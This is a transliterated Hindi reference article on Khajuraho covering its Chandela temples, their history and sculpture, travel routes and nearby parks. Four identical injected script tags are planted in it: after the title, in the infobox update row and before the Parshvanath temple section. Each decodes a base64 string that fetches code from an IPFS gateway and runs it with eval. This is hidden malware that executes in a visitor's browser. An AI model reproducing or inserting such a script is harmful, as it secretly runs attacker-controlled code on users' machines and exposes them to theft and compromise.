खजुराहो
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
khajuraho
| |
| vivaran | 'khajuraho' bharat ke madhy pradesh prant mean, chhattarapur zile mean sthit ek pramukh shahar hai, jo apane prachin evan madhyakalin mandiroan ke liye vishvavikhyat hai. |
| rajy | madhy pradesh |
| zila | chhattarapur |
| bhaugolik sthiti | uttar- 24°51, poorv- 79°56 |
| marg sthiti | khajuraho mahoba se 54 kilomitar dakshin mean, chhatarapur se 45 kilomitar poorv aur satana se 105 kilomitar pashhchim mean shthit hai. |
| prasiddhi | madhyakalin mandiroan ke liye. |
| kab jaean | aktoobar se march |
| kaise pahuanchean | havaee jahaz, rel, bas adi se pahuancha ja sakata hai. |
| havaee adda | khajuraho havaee adda |
| relave steshan | khajuraho relave steshan |
| bas adda | bas adda |
| yatayat | bas, riksha, aauto riksha |
| kya dekhean | mandir |
| kahaan thaharean | hotal, dharmashala, atithi grah. |
| kya khayean | namakin, jalebi, mooang ki dal ka halava. |
| kya kharidean | airan, pital aur patthar ki moortiyaan. |
| es.ti.di. kod | 07686 |
| e.ti.em | lagabhag sabhi |
| chitr:Map-icon.gif | googal manachitr, havaee adda (googal manachitr) |
| chitr:Tourism icon.gif | madhyapradesh paryatan |
| adyatan | 15:22, 24 sitambar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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khajuraho vaise to bharat ke madhy pradesh prant, chhattarapur zile mean sthit ek chhota-sa qasba hai, lekin phir bhi bharat mean tajamahal ke bad, sabase zyada dekhe aur ghoome jane vale paryatan sthaloan mean agar koee doosara nam ata hai to vah hai, khajuraho. khajuraho, bharatiy ary sthapaty aur vastukala ki ek nayab misal hai. khajuraho ko isake alankrit mandiroan ki vajah se jana jata hai jo ki desh ke sarvotkrishth madhyakalin smarak haian. chandel shasakoan ne in mandiroan ki tamir san 900 se 1130 eesavi ke bich karavaee thi. itihas mean in mandiroan ka sabase pahala jo ullekh milata hai, vah aboo rihan al barooni (1022 eesavi) tatha arab musafir ibn batoota ka hai. [[chitr:Khajuraho-Temples.jpg|thumb|left|250px|khajuraho mandir, madhy pradesh]]
darasal yah kshetr prachin kal mean vats ke nam se, madhy kal mean jaijakbhukti nam se tatha chaudahavian sadi ke bad bundelakhand ke nam se jana gaya. khajuraho ke chandel vansh ka utthan dasavian sadi ke shuroo se mana jata hai. inaki rajadhani prasadoan, talaboan tatha mandiroan se paripoorn thi. sthaniy dharanaaauan ke anusar taqariban ek hazar sal pahale yahaan ke dariyadil v kala parakhi chandel rajaoan ne qarib 84 bejo d v lajavab mandiroan ki tamir karavaee thi, lekin unamean se abhi tak sirf 22 mandiroan ki hi khoj ho paee hai, yadyapi doosare puravasheshoan ke praman prachin tiloan tatha bikhare vastukhandoan ke roop mean aj bhi khajuraho tatha isake asapas dekhe ja sakate haian. pandrahavian sadi ke bad is ilaqe ki ahamiyat khatm hoti gee.
mandir sthapaty
samany roop se yahaan ke mandir balua patthar se nirmit kie ge haian, lekin chauansath yogini, brahma tatha lalaguaan mahadev mandir grenait (kanashm) se nirmit haian. ye mandir shaiv, vaishnav tatha jain sanpradayoan se sambandhit haian. khajuraho ke mandiroan ka bhoovinyas tatha oordhvavinyas vishesh ullekhaniy hai, jo madhy bharat ki sthapaty kala ka behatarin v vikasit namoona pesh karate haian. yahaan mandir bina kisi parakote ke ooanche chabootare par nirmit kie ge haian. amataur par in mandiroan mean garbhagrih, aantaral, mandap tatha ardhamandap dekhe ja sakate haian. khajuraho ke mandir bharatiy sthapaty kala ke utkrisht v vikasit namoone haian, yahaan ki pratimaaian vibhinn bhagoan mean vibhajit ki gee haian. jinamean pramukh pratima parivar, devata evan devi-devata, apsara, vividh pratimaaian, jinamean mithun (sambhogarat) pratimaaian bhi shamil haian tatha pashu v vyal pratimaaian haian, jinaka vikasit roop kandariya mahadev mandir mean dekha ja sakata hai. sabhi prakar ki pratimaoan ka parimarjit roop yahaan sthit mandiroan mean dekha ja sakata hai.
yahaan mandiroan mean j di huee mithun pratimaaian sarvottam shilp ki parichayak haian, jo ki darshakoan ki bhavanaoan ko atyant udvelit v akarshit karati haian aur apani moortikala ke lie vishesh ullekhaniy haian. khajuraho ki moortiyoan ki sabase aham aur mahattvapoorn khoobi yah hai ki inamean gati hai, dekhate rahie to lagata hai ki shayad chal rahi hai ya bas hilane hi vali hai, ya phir lagata hai ki shayad abhi kuchh bolegi, maskuraegi, sharmaegi ya rooth jaegi. aur kamal ki bat to yah hai ki ye chehare ke bhav aur sharir ki bhangimaaian keval stri-purushoan mean hi nahian balki janavaroan mean bhi dikhaee dete haian. kul milakar kaha jay to har moorti mean ek ajib si halachal hai. khajuraho ke pramukh mandiroan mean lakshman, vishvanath, kandariya mahadev, jagadambi, chitragupt, doolhadev, parshvanath, adinath, vaman, javari, tatha chaturbhuj ityadi haian.
parichay
agar bharat mean kahian bhi mandir sthapaty v vastukala ka rachanatmak, advitiy, vilakshan, bhavy, rajasi, bejo d, lajavab, shanadar aur shahi srijan hai... to vah hai keval aur keval khajuraho mean. khajuraho chandel shasakoan ke pradhikar ka pramukh shthan tha, jinhhoanne yahaan anekoan talaboan, shilhpakala ki bhavhyata aur vashtukalathmak suandarata se saje vishalakay mandir banavae. yashovarman[1] ne vishnu ka mandir banavaya jo ab lakshhman mandir ke nam se prasiddh hai aur yah chandel rajaoan ki pratishhtha ka dava karane vale isake samay ke ek udaharan ke roop mean sthit hai. [[chitr:Khajuraho-Temple-Madhya-Pradesh-4.jpg|thumb|left|250px|khajuraho mandir, madhy pradesh]] vishvanath, parshvanath aur vaidyanath ke mandir raja daanga ke samay se haian jo yashovarman ke uttaravarti the. khajuraho ka sabase b da aur mahanh mandir anashhvar kandariya mahadev ka hai jise raja ganda[2] ne banavaya hai. isake alava kuchh anhy udaharan haian jaise ki vaman, adi nath, javari, chaturbhuj aur dulhhadev kuchh chhote kinhtu vishtrit roop se sankalpit mandir haian. khajuraho ka mandir samooh apani bhavhy chhatoan (jagati) aur karyathmak roop se prabhavi yojanaoan ke lie bhi ulhlekhaniy hai. yahaan ki shilhpakalaoan mean dharmik chhaviyoan ke alava parivar, parshhv, avarana devata, dikapal aur aphsaraean tatha soor suandariyaan bhi haian. yahaan veshabhoosha aur abhooshan bhavhyata manamohak haian.[3]
itihas
khajuraho ka prachin nam 'kharjuravahak' hai. 900 se 1150 ee. ke bich yah chandel rajapootoan ke rajagharanoan ke sanrakshan mean rajadhani aur nagar tha, jo ek vistrit kshetr 'jejakabhukti' (ab madhy pradesh ka buandelakhand kshetr) ke shasak the. chandeloan ke rajy ki nianv athavian shati ee. mean mahoba ke chandel naresh chandravarma ne dali thi. tab se lagabhag paanch shatiyoan tak chandeloan ki rajyasatta jujhauti mean sthapit rahi. inaka mukhy durg kalianjar tatha mukhy adhishthan mahoba mean tha. 11vian shati ke uttarardh mean chandeloan ne paha di qiloan ko apani gatividhiyoan ka kendr bana liya. lekin khajuraho ka dharmik mahattv 14vian shatabdi tak bana raha. isi kal mean arabi yatri ibn batoota yahaan par yogiyoan se milane aya tha. khajuraho dhire-dhire nagar se gaanv mean parivartit ho gaya aur phir yah lagabhag vismriti mean kho gaya.
yatayat
khajuraho, mahoba se 54 kilomitar dakshin mean, chhatarapur se 45 kilomitar poorv aur satana zile se 105 kilomitar pashhchim mean shthit hai tatha nikatatam relave shteshanoan arthath mahoba, satana aur jhaansi se pakhki s dakoan se khajuraho achhchhi tarah ju da hua hai.[4]
havaee marg khajuraho ke lie dilli, banaras aur agara se pratidin viman–seva upalabdh rahati hai. [[chitr:Khajuraho-Temple-Madhya-Pradesh-5.jpg|thumb|250px|khajuraho mandir, madhy pradesh]] rel marg dilli se khajuraho manikapur hote hue uttar pradesh sanpark kraanti tren se ju da hua hai. isake alava, dilli-chennee rel marg par p dane vale steshanoan mahoba (61 kimi), harapalapur (94 kimi) aur jhaansi (172 kimi) se bhi tren badalakar khajuraho jaya ja sakata hai.
bas marg khajuraho satana, harapalapur, jhaansi aur mahoba se bas seva dvara ju da hua hai.
mandiroan ki khoj
1838 mean ek british ianjiniyar kaiptan ti.es. bart ko apani yatra ke dauran apane kaharoan se isaki janakari mili. unhoanne jangaloan mean lupt in mandiroan ki khoj ki aur unaka alankarik vivaran bangal ki eshiyatik sosaiti ke samaksh prastut kiya. 1843 se 1847 ke bich chhatarapur ke sthaniy maharaja ne in mandiroan ki marammat karaee. janaral alekzeandar kaniangham ne is sthan ki 1852 ke bad kee yatraean kian aur in mandiroan ka vyavasthabaddh varnan apani 'bharatiy puratattv sarvekshan' ki riport (arkiyolajikal sarve aauf iandiya riports) mean kiya. khajurahoan ke smarak ab bharat ke puratatvik sarvekshan vibhag ki dekhabhal aur nirikshan mean haian. jisane anek tiloan ki khudaee ka kary karavaya hai. inamean lagabhag 18 sthanoan ki pahachan kar li gee hai. sanh 1950-1951 mean bharat ke pahale rashtrapati d aau. rajeandr prasad khajuraho ae. is dauran yahaan ke nivasiyoan ne khajuraho ke vikas ki rooparekha unake samaksh rakhi, usake bad varsh 1955 mean pandit javahar lal neharoo ka bhi khajuraho agaman hua. unhoanne khajuraho ke mandiroan ki sarahana karate hue isake vikas ki disha mean qadam uthane ka ashvasan diya. inhian mandiroan ki vajah se khajuraho paryatan sthal ke roop mean shighr vikasit hua. aj vishv paryatan ke manachitr par khajuraho ka vishisht sthan hai. khajuraho ko yoonesko se 1986 ee. mean vishv dharohar sthal ka darja bhi mila. adhunik khajuraho ek chhota-sa gaanv hai, jo hotaloan aur havaee adde ke sath paryatan vyapar ki suvidha upalabdh karata hai.
kalatmakata
khajuraho ke mandir bharatiy sthapaty kala ka adbhut namoona haian. khajuraho mean chandel rajaoan dvara banavae ge khoobasoorat mandiro mean ki gee kalakari itani sajiv hai ki kee bar moortiyaan khud bolati huee maloom deti haian.
duniya ko bharat ka khajuraho ke kalatmak mandir ek anamol tohafa haian. us samay ki bharatiy kala ka parichay iname patthar ki sahayata se ukeri gee kalatmakata deti hai. khajuraho ke mandiroan ko dekhane ke bad koee bhi inhean banane vale hathoan ki tarif kie bina nahian rah sakata.
nirman ke pichhe katha
khajuraho ke mandiroan ke nirman ke pichhe ek behad rochak katha hai. kaha jata hai ki hemavati ek brahman pujari ki beti thi. ek bar jab jangal ke talab mean naha rahi thi, to chandr dev yani ki chandrama us par mohit ho ge aur donoan ke ek beta hua. [[chitr:Khajuraho-Temple-Madhya-Pradesh-1.jpg|thumb|250px|left|khajuraho mandir, madhy pradesh]] hemavati ne apane bete ka nam chandravarman rakha. isi chandravarman ne bad mean chandel vansh ki sthapana ki. chandravarman ka lalan-palan usaki maan ne jangal mean kiya tha. raja banane ke bad usane maan ka sapana poora karane ki thani. usaki maan chahati thi ki manushy ki tamam mudraoan ko patthar par ukera jae. is tarah chandravarman ki maan hemavati ki ichchha svaroop in khoobasoorat mandiroan ka nirman hua. khajuraho ke ye mandir poori duniya ke lie ek dharohar haian.
sarvotkrisht kalakritiyaan
vastukala aur moortikala ki drishti se khajuraho ke mandiroan ko bharat ki sarvotkrisht kalakritiyoan mean sthan diya jata hai. yahaan ki shrriangarik mudraoan mean aankit mithun-moortiyoan ki kala par sambhavatah taantrik prabhav hai, kintu kala ka jo niravrit aur achhoota saudarny inake aankan mean nihit hai, usaki upama nahian milati. in mandiroan ke alankaran aur manohar akar-prakar ki tulana mean keval bhuvaneshvar ke mandir ki kala tik sakati hai. mukhy mandir tatha mandapoan ke shikharoan par amalak sthit hai. ye shikhar uttarottar ooanche hote ge haian, aur isalie b de prabhavotpadak tatha akarshak dikhaee dete haian. mandiroan ki moortikala ki sarahana sabhi paryavekshakoan ne ki hai. mandir ka apoorv saundary, kafi vistar aur chitrakar ki koochi ko lajjit karane vala barik naqqashi ka kam dekhakar chakit hona p data hai.
khajuraho ki mithun pratimaaian
in moortiyoan ke bare mean bhinn bhinn vyakhyaaian v vichar haian. kuchh ki manyata hai ki ye pratimaaian samakalin samaj ki jarjar v kamazor naitikata ka pratinidhitv karati haian. kuchh ki dharana hai ki yah kamashastr ke pauranik granthoan ke ratyatmak asanoan ka nidarshan hai. yah bhi mana jata hai ki ye pratimaaian, kuchh vishesh madhyakalin bharatiy panth jo ki kamuk krity ko dharmik pratikavad manate the, ka pratinidhitv karati haian. ye log moksh pane ke lie yog tatha bhog donoan hi margoan ka anusaran karate rahe hoange. 250px|thumb|lakshman mandir, khajuraho yahaan hamean yah bhi dhyan rakhana p dega ki prarambhik kal se hi bharatiy kala, sahity tatha lok parampara mean sada hi ek kamuk tattv ki upasthiti rahi hai. mithun (premi yugal) pratimaaian to shuang kal ki moortikala tatha mrinmoortiyoan mean bhi maujood thian. is kala ne amaravati aur mathura se shuroo hokar bad ki sabhi kala shailiyoan ko anupranit kiya.
bauddh dharm
- REDIRECTsaancha:mukhy
khajuraho mean virajaman buddh ki ek vishal pratima ke prapt hone se yah sanket milata hai ki is kshetr mean bauddh dharm ka bhi prachalan tha, bhale hi vah simit paimane par hi kyoan n raha ho. kaniangham ke mat mean ganthaee namak mandir bauddh dharm se sambandhit hai, kintu yah tathy saty jan nahian p data.
hindoo dharmik pranali
khajuraho ki hindoo dharmik pranali tantr par adharit thi, lekin kapalik sampraday ke khop di dhariyoan (shiv ke kapali svaroop ke poojak) se prithakh thi. ye log ugr taantrik nahian the, ye paramparagat roodhivadi aur brahmanavadi dhara ke the, jo vaidik punarutthan aur pauranik tatvoan se prabhavit the, jaisa ki mandiroan ke shilalekhoan se praman milata hai.
paryatan sthal
khajuraho prasiddh paryatan aur puratatvik sthal hai. jisamean hindoo v jain moortikala se susajjit 25 mandir aur tin sangrahalay haian. 25 mandiroan mean se 10 mandir vishnu ko samarpit haian, jisamean unaka ek sashakt mishrit svaroop vaikunth shamil hai. nau mandir shiv ke, ek soory devata ka, ek rahasyamay yoginiyoan (deviyoan) ka aur paanch mandir digambar jain sampraday ke tirthakaroan ke haian. khajuraho ke mandir mean tin b de shilalekh haian, jo chandel naresh gand aur yashovarman ke samay ke haian. 7vian shati mean chini yatri yuvanachvaang ne khajuraho ki yatra ki thi. usane us samay bhi anek mandiroan ko vahaan par dekha tha. pichhali shati tak khajuraho mean sabase adhik sankhya mean mandir sthit the, kintu is bich ve nasht ho ge haian.
pashchimi samooh ke mandir
khajuraho ke pashchimi samooh mean lakshman, kandariya mahadev, matangeshvar, vishvanath, lakshmi, jagadambi, chitragupt, parvati tatha ganesh mandir ate haian. yahian par varah v nandi ke mandap bhi haian.
lakshman mandir
thumb|250px|lakshman mandir, khajuraho yah vaishnav mandir, panchayatan shaili ka sandhar mandir hai. is mandir ko 930 se 950 eesavi ke bich, chandel shasak yashovarman ne banavaya tha. is mandir ki lambaee 29 mitar tatha chau daee 13 mitar hai. sthapaty tatha vastu kala ke adhar par, balua pattharoan se bane mandiroan mean lakshman mandir sarvottam hai. ooanchi jagath par sthit is mandir ke garbhagrih mean 1.3 mitar ooanchi vishnu ki moorti alankrit toran ke bich sthit hai. poora mandir ek ooanchi jagath par sthit hone ke karan mandir mean vikasit isake sabhi bhag dekhe ja sakate haian. jinake ardhamandap, mandap, mahamandap, aantaral tatha garbhagrih mean, mandir ki bahari divaroan par pratimaoan ki do panktiyaan jinamean devi devatagan, yugm aur mithun vagairah haian. mandir ke bahari hisse ki divaroan tatha chabootare par yuddh, shikar, hathi, gho doan, sainik, apsaraaauan aur mithunakritiyoan ke drishy aankit haian. saradal ke madhy mean lakshmi hai, jisake donoan or brahma evan vishnu haian.
vishvanath mandir
aj se lagabhag 1000 varsh poorv panchayatan shaili mean maharaja dhangadev varman dvara banavae ge vishvanath[5] mandir mean tin sir vale brahmaji ki moorti sthapit hai. ab isaka kuchh bhag khandit ho chuka hai. bharat desh mean bhagavan vishnu aur shiv shankar ke mandir to bahut jagah haian, lekin brahma ji ke mandir desh mean dhooandhane se bhi nahian milate haian. mandir ki uttari disha mean sthit sher aur dakshini disha mean sthit hathi ki pratimaean kafi sajiv lagati haian. inake alava ek nandi ki pratima bhagavan ki or muanh kie hue bhi maujood hai. [[chitr:Khajuraho-Temple-Madhya-Pradesh-2.jpg|thumb|250px|left|khajuraho mandir, madhy pradesh]]
kandariya mahadev
kandariya mahadev mandir[6] khajuraho ke mandiroan mean sabase b da, ooancha aur kalatmak yahi mandir hai. yah mandir 109 phut lamba, 60 phut chau da aur 116 phut ooancha hai. is mandir ke sabhi bhag- arddhamandap, mandap, mahamandap, antaral tatha garbhagrih adi, vastukala ke bejo d namoone haian. garbhagrih charoan or se pradakshinapath yukt hai. yah mandir shiv ko samarpit hai tatha is mandir mean shivaliang ke alava tamam devi-devataoan ki kalatmak moortiyaan man moh leti haian.
mandir ke pratyek bhag mean keval do aur tin phut ooanchi moortiyoan ki sankhya hi 872 hai. chhoti moortiyaan to asankhy haian. poori samanupatik yojana, akar, khoobasoorat moortikala evan bhavy vastukala ki vajah se yah mandir madhy bharat mean apani tarah ka shanadar mandir hai.
mandir mean sopan dvara alankrit kirtimukh, nrity drishy yukt toran dvar se pravesh kiya ja sakata hai. bahar se dekhane par isaka mukhy dvar ek gufa yani ki kandara jaisa nazar ata hai, shayad isilie is mandir ka nam kandariya mahadev p da hai. garbhagrih ke saradal par vishnu, unake daean brahma evan baean shiv dikhae ge haian.
kuchh any mandiroan ki tarah is mandir ki bhi yah visheshata hai ki agar kuchh door se ap ise dekhean to apako lagega ki ap saiand ston se bane mandir ko nahian balki chandan ki lak di par tarashi gee koee bhavy kriti dekh rahe haian. ab saval uthata hai ki agar yah mandir balua patthar se bana hai to phir moortiyoan, divaroan aur stambhoan mean itani chamak kaise, darasal yah chamak aee hai cham de se zabaradast ghisaee karane ke karan. apani tarah ke is anokhe mandir ki divarean aur stambh itane khoobasoorat bane hue haian ki paryatak unhean dekhakar hairan rah jate haian.
chitragupt mandir
chitragupt mandir poorv ki or mukh vala mandir hai. yah mandir bhagavan soory ko samarpit hai. is mandir ke aandar 5 phut ooanche sat gho doan ke rath par savar bhagavan soory ki pratima manamohak hai. is mandir ki divaroan par rajaoan ke shikar aur unaki sabhaoan mean samooh nrity ke drishy kafi khoobasoorati ke sath ukere ge haian. isase chandel rajaoan ki sanpannata ka pata lagata hai. [[chitr:Khajuraho-Temple-Madhya-Pradesh-3.jpg|thumb|250px|khajuraho mandir, madhy pradesh]]
jagadanbi mandir
raja gandadev varman dvara nirmit yah mandir chitragupt mandir ke hi samip sthit hai. vishnu bhagavan ke is mandir mean saik doan varsh bad chhatarapur ke maharaja ne yahaan par parvati ki pratima sthapit karavaee thi, isilie ise ‘jagadanbi mandir’ kaha jata hai.
matangeshvar mandir
raja harshavarman dvara sanh 920 eesavi mean banavaya gaya yah mandir khajuraho mean chandel rajaoan dvara banavae ge sabhi mandiroan mean sabase purana mana jata hai. yahaan ke sabhi purane mandiroan mean yahi ekamatr aisa mandir hai, jahaan abhi bhi pooja–archana ki jati hai.[7]
chauansath yogini mandir
khajuraho mean 64 yoginiyoan ka khula mandir[8] khuradure grenait patthar ka bana hua hai. uttaramukhi is mandir ka nirman 900 eesavi mean mana jata hai. jabaki 10vian shatabdi ke madhy mean bane nagar shaili ke utkrisht mandir, chikane balua patthar se nirmit haian. yahaan se brahmani, iandrani v mahishasur mardini ki pratimaaian prapt huee haian.
poorvi samooh ke mandir
poorvi samooh ke mandiroan mean haian - brahma, vaman, javari v hanuman mandir ... aur jain mandiroan mean haian - parshvanath, adinath v ghantaee mandir.
vaman mandir
[[chitr:Khajuraho-15.jpg|thumb|250px|khajuraho, madhy pradesh]] yah mandir vishnu ke vaman avatar ko samarpit hai. isake bhoo-vinyas mean saptarath, garbhagrih, aantaral, mahamanndap tatha mukhamandap haian. isaka garbhagrih nirandhar hai tatha chaturbhuj vaman ki pratima sthapit ki huee hai. jinake dono or kramashah chakrapurush v shankhapurush haian. is mandir ke mahamandap ki chhat pashchimi bharat ke madhyakalin mandiroan ke saman sanvarn shaili ke anuroop haian. mandir ke garbhagrih ke pravesh dvar sapt shakhaauan se alankrit haian. jo lata, pushp, nrityarat gan, mithun, kamala purush, kundaliyukt nari ki akriti se susajjit haian.
pravesh dvar ke nichale hisse mean stri parichar v dvarapal sahit ganga aur yamuna ko tribhang mean bataya gaya hai, jo hathoan mean kalash tatha malaaian lie hue haian.
saradal ke madhy bhag mean chaturbhuj vishnu tatha donoan or aliyoan mean brahma aur vishnu kie ge haian. mandir ke madhy bhag mean pratimaoan ki do panktiyaan haian,jinaka akarshan sur-suandariyoan ki pratimaean haian. sath hi garbhagrih ke bahari bhag par pramukh aliyoan mean varah v nrisianh vaman ki pratimaaian lagi huee haian.
javari mandir
san 1075 se 1100 eesavi ke bich nirmit is mandir ki sanupatik sanrachana ke pradakshinapathavihin, garbhagrih, aantaral tatha mandap vidyaman hai. yah utkrisht makaratoran tatha suandar shikhar se alankrit hai tatha bahy divarean suandar pratimaoan se susajjit haian jo ki tin panktiyoan mean utkirn haian. yah mandir khajuraho ke chaturbhuj mandir se nikat samy rakhata hai. isake alava any visheshataaian madhy bharat ki madhy yugin mandir sanrachana se samanata rakhati haian.
hanuman mandir
khajuraho ek aisa dharmik kendr tha, jahaan kee sampraday phale-phoole the. khajuraho ki taraf jane vale raste par hanuman ki 3 mitar ooanchi pratima ek chabootare par sthit hai. is moorti ka mahattv isalie bhi hai kyoan ki yahaan jo shila lekh utkirn hai vah 922 eesavi ka hai. is hisab se khajuraho ka yah sabase purana mandir hai. [[chitr:Khajuraho-madhya-pradesh.jpg|thumb|left|khajuraho, madhy pradesh]] pratibha v sthapaty shaili ke adhar par is mandir ka nirman kal taqariban 1050 se 1075 eesavi ke bich nirdharit kiya gaya hai.
jain mandir
khajuraho mean jo mandir banavae ge unamean se tis aj bhi sthit haian. in mandiroan mean ath jain mandir haian. jain mandiroan ki vastukala any mandiroan ke shilp se milati-julati hai. sabase b da mandir parshvanath ka hai, jisaka nirman kal 950-1050 ee. hai. yah 62 phut lamba aur 31 phut chau da hai. isaki bahari bhittiyoan par tin panktiyoan mean jain moortiyaan utkirn haian.
parshvanath mandir
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khajuraho ki moortiyoan ki sabase aham aur mahattvapoorn khoobi yah hai ki inamean gati hai, dekhate rahie to lagata hai ki shayad chal rahi hai ya bas hilane hi vali hai, ya phir lagata hai ki shayad abhi kuchh bolegi, maskuraegi, sharmaegi ya rooth jaegi. aur kamal ki bat to yah hai ki ye chehare ke bhav aur sharir ki bhangimaaian keval stri purushoan mean hi nahian balki janavaroan mean bhi dikhaee dete haian. kul milake kaha jay to har moorti mean ek ajib si juanbish nazar ati hai.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> khajuraho mean jitane bhi prachin jain mandir haian, unamean se yah sabase suandar, vishal v bhavy hai. yah apane bhoo vinyas mean vishisht hai. haan ...yah mandir sadharan hai, lekin phir bhi isamean kisi bhi prakar ka vatayan nahian hai. isaki any visheshata yah hai ki isake garbhagrih ke pichhe ek aur chhota mandir bhi ju da hai. doosare arthoan mean yah kaha ja sakata hai ki yah vikasit khajuraho (chandel) shaili ka ek mandir hai jisamean adbhut alankaran tatha pratimaaauan ki saumyata drishtvy hoti hai. is mandir ka nirman dasavian shatabdi ke madhy hua tha. moolaroop se yah mandir pratham tirthankar ko samarpit kiya gaya tha.
adinath mandir
is mandir ke garbhagrih mean adinath pratima sthapit hone ke karan yah jain mandir ke nam se jana jata hai. yah nirandhar shaili ka mandir hai jisamean mandap tatha ardhamandap raha hoga jo ki vartaman mean poorn roop se nasht ho chuka hai. ajakal is mean garbhagrih tatha aantaral haian. isake sath hi vartaman samay mean nirmit meharabadar nirman dekha ja sakata hai. jisake aandar gumbadanuma chhat hai jo ki prachin nirman se ju di hai. yah mandir saptarath hai evan isaka bhoovinyas vaman mandir jaisa hai, phir bhi yah mandir atyadhik vikasit shaili ka hai. isaka shikhar tatha jangha bhag vaman mandir ke saman hi alankrit hai. shaili ke adhar par yah mandir gyarahavian shatabdi ke uttarardh mean nirmit hua tha.
dakshini samooh ke mandir
khajuraho ke dakshini samooh ke mandiroan mean ate haian chaturbhuj aur doolhadev mandir.
chaturbhuj mandir
thumb|250px|khajuraho mandir, madhy pradesh is mandir mean pradakshina path rahit garbhagrih, aantaral, mandap tatha mukhamandap hai. yah mandir ek sadharan chabootare par sthit hai. khajuraho mean yah ek aisa mandir hai, jisamean mithun moortiyoan ka abhav hai. divar ke charoan taraf moortiyoan ki tin shriankhalaaian haian, jinamean se oopari pankti mean aankit vidyadharoan ki pratimaoan ke alava any sabhi pratimaaian ek jaisi haian, jo ki shilpakala mean hue patan ka dyotak hai. divaroan mean j di pratimaaauan ke aantargat pratham pankti mean dikpal ki pratimaaian madhy bhag mean asht basu tatha shesh panktiyoan mean apsaraauan ka aankan hai. aliyoan mean vyal vishesh ullekhaniy haian. garbhagrih ke pravesh dvar ke nichale bhag mean tribhang mudra mean ganga, yamuna v dvarapaloan ko pradarshit kiya gaya hai. is mandir ke garbhagrih mean shiv ki dakshina moorti sthapit hai, jinaki mukhakriti shaantabhav parilakshit karati hai.
is mandir ka nirman kal sanh 1100 eesavi mana jata hai.
lait eand sauand sho
khajuraho jaisi aitihasik jagah par ghoomane ke bad bhi paryatakoan ke man mean isake itihas se ju de kee saval adhoore rah jate haian. paryatakoan ki tamam shankaoan ke samadhan ke lie khajuraho mean lait eand sauand sho ka ayojan kiya jata hai. is sho mean chandel rajaoan ke vaibhavashali itihas se lekar in apratim mandiroan ke nirman ki kahani bataee jati hai. vestarn grup ke mandiroan ke pas hi bane ek k aaumpaleks mean 50 minat tak chalane vale ek sho mean supar star amitabh bachchan apani avaz mean darshakoan ko khajuraho ke gauravashali itihas se roobaroo karate haian. ye sho rojana sham ko hindi aur aangrezi mean chalae jate haian. [[chitr:Khajuraho-temple-8.jpg|thumb|left|250px|khajuraho mandir, madhy pradesh]]
stet myooziyam aur traibal eand fok arts
yah sangrahalay 'chandel kalcharal k aaumpaleks' mean sthit hai. is sangrahalay mean poore madhy pradesh ki adivasi janajatiyoan ki lok kala ke namoone rakhe ge haian. madhy pradesh sarakar ke is sangrahalay mean terakota, dhatu shilp, kashth shilp, adivasi aur lok chitrakari, taitoo, zevar aur mukhautoan ke 500 se zyada namoone maujood haian. yah sangrahalay somavar aur sarakari chhuttiyoan ke alava rojana 12 baje se 8 baje tak khulata hai.
khajuraho nrity samaroh
har sal faravari - march mean khajuraho mean ek nrity samaroh ka ayojan kiya jata hai. ek saptah tak chalane vale is saskritik karyakram ke lie khajuraho ke mandiroan ke pashchimi samooh ko ek prishthapat ki tarah istaimal kiya jata hai. bharat ka har shastriy nartak is bhavy samaroh mean hissa lena apana saubhagy samajhata hai.
raneh jal prapat (raneh f aauls) tatha ken gh diyal abhayarany
[[chitr:Khajuraho-Madhya-Pradesh.jpg|thumb|250px|khajuraho mandir, madhy pradesh]] raneh (kripaya ise "sneh" n samajhean) prapat khajuraho se keval 19 kilo mitar door hai aur yah vahian sthit hai jahaan se ken gh diyal abhayarany shuroo hota hai. darasal ken gh diyal abhayarany mean gh diyal sthaniy nahian haian balki lakhanoo se lakar dale ge haian.
jin chattanoan par raneh jal prapat girata aur bahata hai, ve rang birange grenaitoan se bani haian. yah chattanean lal, nile, firozi aur kale rang mean itani adbhut lagati haian ki bina inhean dekhe inaki bhavyata ki kalpana nahian ki ja sakati. isake alava vahian ek jvalamukh (kretar) bhi hai, raneh jal prapat jab rangin chattanoan se girata hua is jvalamukh se guzarata hai to bas vah nazara dekhate hi banata hai. [[chitr:Khajuraho-2-madhya-pradesh.jpg|250px|left|thumb|bartan banane vala, khajuraho, madhy pradesh]]
panna neshanal park
panna rashtriy udyan khajuraho se matr 32 kilomitar ki doori par sthit hai. ken nadi ke kinare sthit yah neshanal park khajuraho se sirf adha ghante ki doori par hai. panna neshanal park mean ap sher ke alava, chita, bhe diya aur gh diyal dekh sakate haian. isake alava, yahaan nilagay, saanbhar aur chiankara ke jhuand aksar ghoomate nazar a jate haian. yahian ek bhavy jalaprapat tatha kuchh gufaean haian jinhean paandav jal prapat (paandav f aauls) tatha paandav gufaaauan ke nam se jana jata hai. [9]
paandav (f aauls) jal prapat
